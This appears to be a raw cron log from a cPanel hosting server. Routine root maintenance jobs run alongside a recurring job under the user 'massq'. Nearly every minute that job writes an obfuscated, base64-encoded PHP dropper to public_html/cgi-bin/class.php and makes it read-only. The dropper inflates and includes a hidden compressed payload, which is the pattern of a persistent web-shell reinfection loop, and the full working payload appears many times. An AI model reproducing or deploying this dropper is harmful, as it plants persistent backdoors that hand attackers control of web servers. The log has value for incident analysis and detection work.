Sep  8 18:04:01 server CROND[30176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:04:01 server CROND[30175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:04:01 server CROND[30177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:05:01 server CROND[30667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:05:01 server CROND[30670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:05:01 server CROND[30671]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:05:01 server CROND[30669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:05:01 server CROND[30672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:05:01 server CROND[30673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:05:01 server CROND[30675]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:05:01 server CROND[30674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:06:02 server CROND[31536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:06:02 server CROND[31537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:06:02 server CROND[31538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:07:01 server CROND[31912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:07:01 server CROND[31913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:07:01 server CROND[31914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:08:01 server CROND[32297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:08:01 server CROND[32296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:08:01 server CROND[32298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:09:01 server CROND[32678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:09:01 server CROND[32680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:09:01 server CROND[32679]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 18:09:01 server CROND[32681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:10:01 server CROND[754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:10:01 server CROND[755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:10:01 server CROND[759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:10:01 server CROND[765]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:10:01 server CROND[768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:10:01 server CROND[770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:10:01 server CROND[766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:10:01 server CROND[771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:11:01 server CROND[1719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:11:01 server CROND[1720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:11:01 server CROND[1722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:12:01 server CROND[2134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:12:01 server CROND[2135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:12:01 server CROND[2133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:12:01 server CROND[2136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:13:01 server CROND[2523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:13:01 server CROND[2524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:13:01 server CROND[2525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:14:01 server CROND[2955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:14:01 server CROND[2956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:14:01 server CROND[2957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:15:01 server CROND[3447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:15:01 server CROND[3448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:15:01 server CROND[3451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:15:01 server CROND[3456]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 18:15:01 server CROND[3457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:15:01 server CROND[3464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
